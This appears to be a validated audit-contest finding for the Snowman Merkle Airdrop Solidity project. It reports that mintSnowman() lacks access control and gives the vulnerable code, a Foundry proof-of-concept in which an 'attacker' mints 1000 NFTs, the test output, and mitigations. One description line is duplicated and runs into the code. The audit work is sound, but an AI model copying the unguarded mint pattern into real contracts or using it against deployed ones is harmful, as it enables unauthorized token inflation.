Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Lack of Access Control Leading to Unrestricted Minting Privilege

Root + Impact
The mintSnowman() function lacks any access control mechanism, allowing any external address to mint an arbitrary number of Snowman NFTs.

Description
Malicious actors can mint unlimited NFTs for themselves or others, completely bypassing intended distribution mechanisms. That means that the NFT's scarcity and value can be destroyed by infinite supply inflation.

Protocol governance tokens or rewards tied to NFT ownership can be exploited unfairly.

Key Issues

No checks on msg.sender allows any EOA or contract to call the function

The receiver parameter isn't validated (could be zero address)

The receiver parameter isn't validated (could be zero addrefunction mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Risk
Likelihood: High

Can be minted at any time

Can be minted in any amount

Impact: High

Unlimited Snowman amounts can be minted

Users will not need to buy snow anymore, breaking the protocol's core logic.

Proof of Concept

Recommended Mitigation
Implement strict access control to restrict minting to only the authorized SnowmanAirdrop contract:

function mintSnowman(address receiver, uint256 amount) external {

  • if(msg.sender != s_snowmanAirdrop) revert SM__NotAllowed();

    for (uint256 i = 0; i < amount; i++) {
    _safeMint(receiver, s_TokenCounter);
    emit SnowmanMinted(receiver, s_TokenCounter);
    s_TokenCounter++;
    }
    }

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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